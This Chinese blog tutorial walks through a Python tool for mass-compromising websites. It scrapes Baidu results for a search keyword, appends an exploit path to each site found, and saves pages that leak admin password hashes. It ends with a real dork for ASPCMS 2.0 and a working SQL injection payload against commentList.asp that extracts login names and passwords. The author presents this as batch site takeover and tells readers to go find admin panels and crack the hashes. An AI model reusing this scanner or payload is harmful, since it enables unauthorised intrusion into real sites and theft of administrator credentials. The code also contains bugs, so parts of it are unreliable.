Python中如何使用url采集器及exp验证

本篇文章为大家展示了Python中如何使用url采集器及exp验证，内容简明扼要并且容易理解，绝对能使你眼前一亮，通过这篇文章的详细介绍希望你能有所收获。

前言：

最近几天在整理从各处收集来的各种工具包，大大小小的塞满了十几个G的硬盘，无意间发现了一个好几年前的0day。心血来潮就拿去试了一下，没想到真的还可以用，不过那些站点都已经老的不像样了，个个年久失修，手工测了几个发现，利用率还挺可观，于是就想配合url采集器写一个批量exp的脚本。于是就有了今天这一文。结尾附上一枚表哥论坛的邀请码一不小心买多了。先到先得哦。

开始：

环境,及使用模块：

Python3
Requests
Beautifulsuop
Hashlib

老规矩先明确目标

1. 需要编写一个url采集器，收集我们的目标网址，

2. 需要将我们的exp结合在其中。
   先看一下exp 的格式吧，大致是这样的:
   exp：xxx/xxx/xxx/xxx
   百度关键字：xxxxxx
   利用方式在网站后加上exp，直接爆出管理账号密码，
   像这样：www.baidu.com/xxx/xxx/xxxxxxxxx
   PS:后面都用这个代替我们的代码中
   再放个效果图没错就是这样。直接出账号密码哈哈哈。

url采集模块：

首先我们要编写一个基于百度搜索的url采集器。我们先来分析一下百度的搜索方式，
我们打开百度，输入搜索关键字 这里用芒果代替。

可以看到wd参数后跟着我们的关键字，我们点击一下第二页看下页码是哪个参数在控制。

好的我们和前面url对比一下会发现pn参数变成了10，同理我们开启第三页第四页，发现页码的规律是从0开始每一页加10.这里我们修改pn参数为90看下是不是会到第十页。

可以看到真的变成第十页了，证明我们的想法是正确的。我们取出网址如下

https://www.baidu.com/s?wd=芒果&pn=0

这里pn参数后面的东西我们可以不要，这样就精简很多。

我们开始写代码。我们先需要一个main函数打开我们的百度网页，我们并利用for循环控制页码变量，实现打开每一页的内容。

先实现打开一页网站，代码如下

我们运行一下发现返回的页面是这样的，并没有我们想要的内容。

这是为什么，原因就是因为百度是做了反爬的，但是不用担心，我们只要加入headers参数，一起请求就可以了。修改后代码如下：

def main():        url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的，需要加上user_agent验证一下否则就会返回错误        r=requests.get(url=url,headers=headers)#请求目标网址        soup=bs(r.content,'lxml')#利用bs解析网址        print soup

这样在运行，就可以看到成功的返回了网页内容。

好的，我们再加上我们的循环，让他可以遍历每一个网页。一个简单的爬虫就写好了，不过什么内容也没爬，先附上代码。

import requestsfrom bs4 import BeautifulSoup as bs  #这里吧模块命名为了bs，方面我们调用。def main():    for i in range(0,750,10):#遍历页数，每次增加10        url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定义url        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的，需要加上user_agent验证一下否则就会返回错误        r=requests.get(url=url,headers=headers)#请求目标网址        soup=bs(r.content,'lxml')#利用bs解析网址        print soupif __name__ == '__main__':
    main()#调用函数main

我们继续分析网页，取出每一个网址。右键审查元素，查看在源代码中的位置。

可以看到，我们的要取的数据，在一个名字为a的标签中，我们用bs取出这个标签所有内容。并用循环去取出“href”属性中的网址，main函数代码如下。

def main():    for i in range(0,10,10):
        url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
        r=requests.get(url=url,headers=headers)
        soup=bs(r.content,'lxml')
        urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容，re模块是为了让我们取出这个标签的所有内容。        for url in urls:
            print url['href']#取出href中的链接内容

这里解释一下为什么有class：none这个语句，如果我们不加这一句，我们会发现我们同时也取到了百度快照的地址。在快照的地址中，class属性是有值的，但是我们真正的链接中，没有class属性，这样我们就不会取到快照的链接了。

运行一下。成功返回我们要的链接

我们下一步就是验证这些链接是否可用，因为有的网站虽然还可以搜索到，但是已经打不开了。这里利用request模块以此请求我们的链接，并查看返回的状态码是不是200，如果为两百则说明，网站是正常可以打开的。

在for循环中加上如下两行代码，运行。

r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接，并设置超时时间为4秒。print r_get_url.status_code

可以看到成功反返回了200,。接下来我们就要吧可以成功访问的网址的地址打印出来，并且只要网站的主页网址。我们分析一个网址

https://www.xxx.com/xxx/xxxx/

发现这里都是由“/”分割的，我们可以吧url用“/”分割，并取出我们要向的网址。

运行程序后。会发现返回这样的网址，他们有一部分是带着目录的。

我们用/分割url为列表之后，列表中的第一个为网站所使用协议，第三个则为我们要取的网址首页。代码如下

def main():    for i in range(0,10,10):
        url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
        r=requests.get(url=url,headers=headers)
        soup=bs(r.content,'lxml')
        urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容，re模块是为了让我们取出这个标签的所有内容。        for url in urls:
            r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接，并设置超时时间为4秒。            if r_get_url.status_code==200:#判断状态码是否为200                url_para= r_get_url.url#获取状态码为200的链接                url_index_tmp=url_para.split('/')#以“/”分割url                url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#将分割后的网址重新拼凑成标准的格式。                print url_index

运行后，成功取出我们要取的内容。

好的到这里我们最主要的功能就实现了，下面我们进入我们激动人心的时候，加入exp，批量拿站。

exp模块

如何实现这个功能呢，原理就是，在我们爬取的链接后加入我们的exp，拼接成一个完整的地址，并取出这个网址并保存在一个txt文本中，供我们验证。现在我们的代码是这样的

# -*- coding: UTF-8 -*-import requestsimport refrom bs4 import BeautifulSoup as bsdef main():    for i in range(0,10,10):
        expp=("/xxx/xxx/xxx/xx/xxxx/xxx")
        url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
        r=requests.get(url=url,headers=headers)
        soup=bs(r.content,'lxml')
        urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})
        for url in urls:
            r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)
            if r_get_url.status_code==200:
                url_para= r_get_url.url
                url_index_tmp=url_para.split('/')
                url_index=url_index_tmp[0]+'//'+url_index_tmp[2]
                with open('cs.txt') as f:
                    if  url_index not in f.read():#这里是一个去重的判断，判断网址是否已经在文本中，如果不存在则打开txt并写入我们拼接的exp链接。                        print url_index
                        f2=open("cs.txt",'a+')
                        f2.write(url_index+expp+'/n')
                        f2.close()if __name__ == '__main__':
    f2=open('cs.txt','w')
    f2.close()
    main()

这里我把exp用xxx代替了，你们自行替换一下。放在最后了。

运行一下我们的程序，在根目录下，我们可以找到一个cs.txt的文本文档，打开之后是这样的。

打码有一点点严重。不过不影响，小问题，大家理解就好了，其实到这里就结束了，我们可以手工去验证，一条一条的去粘贴访问，查看是否有我们要的内容。But，我懒啊，一条一条的去验证，何年何月了。

这里我们在新建一个py文件，用来验证我们上一步抓取的链接，这样我们就把两个模块分开了，你们可以只用第一个url采集的功能。

我们的思路是这样的，打开我们刚才采集的链接，并查找网页上是否有特定内容，如果有，则讲次链接保存在一个文件中，就是我们验证可以成功利用的链接。

我们先看一下利用成功的页面是什么样子的。

利用失败的页面

我们发现利用成功的页面中有管理员密码的hash，这里我们利用hashlib模块判断页面中是否有MD5，如果有则打印出来，并将MD5取出来和链接一起保存再文本中。我们先分析一下网站源码，方便我们取出内容

可以看到网站非常简单，我们要取的内容分别在不同的属性值一个为class:line1,一个为class：line2.我们只要用bs模块取出这两个标签中的内容就可以了。代码如下。

# -*- coding: UTF-8 -*-from bs4 import BeautifulSoup as bsimport requestsimport timeimport hashlibdef expp():    f = open("cs.txt","r")#打开我们刚刚收集的文本文档    url=f.readlines()#逐行取出我们的链接    for i in url:#将取出的链接放入循环中        try:#加入异常处理，让报错直接忽略，不影响程序运行            r=requests.get(i,timeout=5)#请求网址            if r.status_code == 200:#判断网址是否可以正常打开，可以去掉这一个，我们刚刚验证了                soup=bs(r.text,"lxml")#用bp解析网站                if hashlib.md5:#判断网址中是否有MD5，如果有继续运行                    mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#获取line1数据                    mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#获取line2数据                    f2=open('cs2.txt','a+')#打开我们的文本                    f2.write(i+"/n"+mb1+"/n")#将我们验证好的链接，还有数据保存在文本中                    f2.close()
                    print (mb1)
                    print (mb2)
        except:

            pass    f.close()
expp()

运行一下：

成功，我们看一下我们的文件。

完美，然后我们就可以去找后台然后解密啦，你们懂得。

exp：

百度关键字：有限公司--Powered by ASPCMS 2.0exp：/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user

总结：

1.吐槽一下python2对中文的不兼容，导致我还是换成了python3。
2.程序很简单，但是重要的不是程序是思路。

上述内容就是Python中如何使用url采集器及exp验证，你们学到知识或技能了吗？如果还想学到更多技能或者丰富自己的知识储备，欢迎关注亿速云行业资讯频道。